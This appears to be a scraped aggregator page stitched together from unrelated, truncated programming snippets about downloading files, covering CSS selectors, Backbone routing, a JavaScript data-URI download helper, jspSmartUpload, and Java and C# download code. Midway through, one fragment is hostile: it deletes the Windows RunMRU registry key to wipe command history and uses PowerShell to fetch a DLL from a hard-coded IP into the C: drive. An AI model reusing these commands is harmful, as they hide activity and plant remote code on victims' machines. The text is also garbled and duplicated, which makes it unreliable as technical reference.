selector)
Basic syntax:
. class Selector {
Property Name: property value;
......
}
Examples of CSS class selectors:
Http://www.bianceng.cn/http://www.bianceng.cn/web/Css/201607/50222.htm
2, the CSS ID selector
Basic syntax:
#id选择器 {
Property Name: property value;
......
}
Example of a CSS ID selector:
Http://www.bianceng.cnhttp://www.bianceng.cn/web/Css/201607/50229.htm
3, CSS HTML element
do I transmit parameters for this routes ing?
Let's take a look at the following example.
Var AppRouter = Backbone. Router. extend ({
Routes :{
"/Posts/: id": "getPost ",
"* Actions": "defaultRoute"
},
GetPost: function (id ){
Alert (id );
},
DefaultRoute: function (actions ){
Alert (actions );
}
});
Var app_router = new AppRouter;
Backbone. history. start ();The corresponding page should have a hyperlink: Post 120
You can see the matching method of # content after the tag from the above. There
can download the js-generated content. The method is encapsulated as follows:Copy codeThe Code is as follows:Function downloadFile (aLink, fileName, content ){
ALink. download = fileName;ALink. href = "data: text/plain," + content;}
After downloadFile is called, you can click the link to trigger Browser Download.However, it is not enough. The above method has two hard injuries, which will lead to the loss
delete all downloaded files !!! A total of four IP addresses need to be changed !!!) [This code is stored in the http root directory of the server. Remember to set the FTP server password to admin.]
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f;
(New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/7z.dll','c:\7z.dll');
(New-Object System.Net.WebClient).DownloadFile
do this. I believe many people have heard of the word DataURI. The common one is the image src, such:
The Code is as follows:
DataURI can be explained here, so I will not explain it.
Now, you can download the js-generated content. The method is encapsulated as follows:
The Code is as follows:
Function downloadFile (aLink, fileName, content ){
ALink. download = fileName;ALink. href = "data: text/plain," + content;}
After
totalMaxFileSize)
TotalMaxFileSize indicates the total length of the file to be uploaded.
C. Common Methods for downloading files
1. setContentDisposition
Purpose: append data to the CONTENT-DISPOSITION field of the MIME file header. The jspSmartUpload component automatically fills in the CONTENT-DISPOSITION field of the MIME file header when returning the downloaded information. If you need to add additional information, use this method.
Prototype: public void setContentDisposition (String con
This article mainly introduces the text details of http requests for applets. For more information, see the following article, for more information, see
Network communication in a applet can only communicate with the specified domain name. The applet contains four types of network requests.
Common HTTPS request (wx. request)
Upload a file (wx. uploadFile)
Download File (wx. downloadFile)
WebSocket communication (wx. connectSocket)
Here we will
Java.io.inputstream;import java.io.randomaccessfile;import Java.net.httpurlconnection;import Java.net.url;public class Downloadtask implements Runnable {private File Downloadfile;private String urlstring;private long startposition;private long endposition;private int threadId;private Onsizechangelistener Onsizechangelistener;p rivate boolean flag=true;private long Downloadedsize=0;private long Downloadsizeperthread;public long Getdownloadedsize () {r
total length of the file to be uploaded.
C. Common Methods for downloading files
1. setcontentdisposition
Purpose: append data to the content-Disposition field of the MIME file header. The jspsmartupload component automatically fills in the Content-Disposition field of the MIME file header when returning the downloaded information. If you need to add additional information, use this method.
Prototype: Public void setcontentdisposition (string contentdisposition)
Here, contentdisposition is the
Implementation of the server.
We need to implement three functions
1. display an image
2. Download an object
3. upload an object
Show the image implementation code first.
This is relatively simple to open directly in the browser. Remember to set the output contenttype. Sometimes we want to open another format. Here, there is a small method to get the output contenttype Based on the file extension.
That is, the getcontenttype method used above is found in the knowledge base o
Over the past few days, I have been studying the socket program connected to. Net by Delphi, and finally made some progress.
Requirements:
The server intercepts the first four bytes and converts them to numbers. The second digit is the Business Code. It determines which business logic to call.
Using system; using system. collections. generic; using system. text; using system. io; using system. net. sockets; using system. threading; using pivasupdate; using log4net; using system. reflection; usi
Security Sandbox issue. If the service is started on the local machine and the access address needs to be entered, you cannot use localhost instead of the local IP address. Otherwise, the Security Sandbox problem still occurs.
The filereference. Download () method prompts you to provide the file storage location and start downloading from a remote URL. Directly load the Request Path for download without background support. The Code is as follows:
Import com. systex. Flex. util. testpress;
Impo
DownloadFile = new FileInfo (FullFileName); // you can specify the object to be downloaded.
Response. Clear (); // Clear all content output in the buffer stream
Response. ClearHeaders (); // clear all headers in the buffer stream
Response. Buffer = false; // set the Buffer output to false.
// Set the http mime type of the output stream to application/octet-stream
Response. ContentType = "application/octet-stream ";
// Add the HTTP header to the outpu
Disable the client ie from downloading files through URL? Only files can be downloaded from the specified Download Page
Only requests transferred from this website can be downloaded. You can directly enter an address in the address bar and cannot download it.
1. Do not use links. Use the write-back stream method. Only click the page button to activate download.
Private void filedownload (string downpath){String fullfilename = server. mappath (downpath );Fileinfo
to do?In fact, there are ways to do, I believe many people have heard the word datauri, more common is the image of the SRC, such as:
data:image/gif;base64,R0lGOXXXXX">
Datauri's explanation can be here, I will not explain.So, now to download the content of JS generated by the laws. Encapsulated as a method as follows:
1234
function downloadFile(aLink, fileName, content){ aLink. Download = fileName; aLink. hr
();
Get URL Queuepublic static Queue Getunvisitedurl () {return unvisitedurl;}
Add to visited URL queuepublic static void Addvisitedurl (String URL) {Visitedurl.add (URL);}
To remove a URL that has been visitedpublic static void Removevisitedurl (String URL) {Visitedurl.remove (URL);}
Unreachable URL out of queuepublic static Object Unvisitedurldequeue () {return Unvisitedurl.poll ();}
Ensure that each URL is accessed only oncepublic static void Addunvisitedurl (String URL) {if (URL!=
ways to do, I believe many people have heard the word datauri, more common is the image of the SRC, such as:Datauri's explanation can be here, I will not explain.So, now to download the content of JS generated by the laws. Encapsulated as a method as follows:function DownloadFile (ALink, fileName, content) {
Alink.download = FileName;Alink.href = "Data:text/plain," + content;}
After calling Download
we finally get the full file path and name and authorize the download. Here we do this by calling the Startdownload method:Code highlighting produced by Actipro Codehighlighter (freeware)http://www.CodeHighlighter.com/Private voidStartdownload (HttpContext context,StringDownloadFile){Context. Response.Buffer= True;Context. Response.Clear ();Context. Response.AddHeader ("Content-disposition","attachment; Filename=" +DownloadFile);Context. Response.Con
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.